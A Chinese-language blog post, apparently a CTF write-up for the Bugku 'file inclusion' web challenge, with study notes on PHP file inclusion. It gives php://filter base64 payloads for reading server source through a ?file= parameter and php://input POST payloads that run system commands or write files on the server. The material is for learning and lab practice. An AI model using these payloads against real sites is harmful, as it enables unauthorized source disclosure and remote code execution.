文件包含
Q7nl1s admin

Bugku-web-文件包含

进入靶场

文件包含1

出现click me?点击试试

新页面显示index.php,且url上出现?file=show.php

文件包含7

?file=XXX.php等是典型的文件包含

题目页面显示了index.php,首先在url后面改为?file=index.php看看,发现不能进入这个页面

文件包含2

之后就想到文件包含可以使用PHP伪协议,php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

1
2
3
4
5
6
获取源码代码
?file=php://filter/resource=xxx.php

通常获取源代码时,伪协议将xxx.php当文件执行,
使得很多信息往往不能直接显示在浏览器页面上,通常使用base64编码后再显示
?file=php://filter/read=convert.base64-encode/resource=index.php

然后怎么做题就显而易见了
先在url后改为
?file=php://filter/read=convert.base64-encode/resource=show.php

文件包含3

通过Base64解码后发现内容就是index.php,说明show.php没有隐藏信息

再在url后改为
文件包含4

获得一大串编码,解码后为

文件包含5

flag就出现了

文件包含知识点

一、原理:

  • 在开发过程中,当频繁需要跳转网页,或者需要某个函数时,程序员喜欢将重复的函数写道一个单独的文件中,在需要时调用文件,这种文件调用叫做文件包含

  • 文件调用可以使代码更简介,同时使用代码更方便、更快速,但同时也带来的对应的漏洞

  • 当调用的不是函数,而是一个文件时,就相当于把这个文件变了变量,也就给了用户操控参数的机会,就可能造成文件包含漏洞

二、PHP伪协议
2.1 php://fileter

可以读取目标文件的内容,由于读取时,一些代码不能显示,通常使用Base64加密后读取再解密,

1
2
3
4
第一种用法:
?file=php://filter/convert.base64-encode/resouce=xxx.php?
第二种用法:
?file=php://filter/read=convert.base64-encode/resource=xxx.php

2.2 php://input
可以将POST请求当作代码使用,有限制条件

1
2
3
php <5.0 ,allow_url_include=Off 情况下也可以用

php > 5.0,只有在allow_url_fopen=On 时才能使用

代码:

1
2
?file=php://input
在url上后接,之后利用Hackbar通过POST把数据传过去

用法:
1.写入木马如在POST中输入

1
2
3
4
5
6
7
8
<?php system("dir")?>
查询全部目录文件
<?php
$file=fopen("flag.php","w");
echo fputs($file,"Hello World");
fclose($file);
?>
以写入方式打开某某文件文件,如果没有就新创建一个
 Comments
Comment plugin failed to load
Loading comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View